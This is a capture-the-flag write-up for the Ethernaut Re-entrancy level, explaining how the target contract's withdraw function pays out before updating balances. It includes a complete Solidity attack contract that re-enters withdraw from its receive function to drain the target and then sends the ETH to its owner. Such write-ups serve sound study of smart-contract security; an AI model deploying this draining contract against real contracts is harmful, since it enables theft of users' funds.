Ethernaut Puzzle 10 Re-entrancy

This is a classic Reentrancy problem in Solidity, so classic that it has even appeared in the Solidity example code. See here:

https://solidity-by-example.org/hacks/re-entrancy/

The problem code appears in the withdraw function of the Reentrance smart contract. In this function, we first check if balances[msg.sender] >= _amount, and then we transfer money to msg.sender. The msg.sender.call can be problematic because we don’t know how the receive or fallback function in the other smart contract is implemented. Here, our Attack smart contract implements a method to re-enter the withdraw function, which leads to the second entry into the Reentrance.withdraw function. The balances[msg.sender] is still the original value and has not been changed, which results in more money in the Reentrance contract than what was expected from the original withdraw.

In theory, it is possible to re-enter indefinitely until all the money in the Reentrance contract is depleted. But because we don’t want to be reverted, we set a targetValue, and as soon as we get that much money, we withdraw.

Finally, since all the ETH is in this smart contract, we even wrote a withDrawAll function to transfer all the ETH earned by this smart contract to our account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}

contract ReentranceAttack {
address public owner;
IReentrance targetContract;
uint targetValue = 1000000000000000;

constructor(address _targetAddr) public {
targetContract = IReentrance(_targetAddr);
owner = msg.sender;
}

function balance() public view returns (uint) {
return address(this).balance;
}

function donateAndWithdraw() public payable {
require(msg.value >= targetValue);
targetContract.donate.value(msg.value)(address(this));
targetContract.withdraw(msg.value);
}

function withdrawAll() public returns (bool) {
require(msg.sender == owner);
uint totalBalance = address(this).balance;
(bool sent, ) = msg.sender.call.value(totalBalance)("");
require(sent, "Failed to send Ether");
return sent;
}

receive() external payable {
uint targetBalance = address(targetContract).balance;
if (targetBalance >= targetValue) {
targetContract.withdraw(targetValue);
}
}
}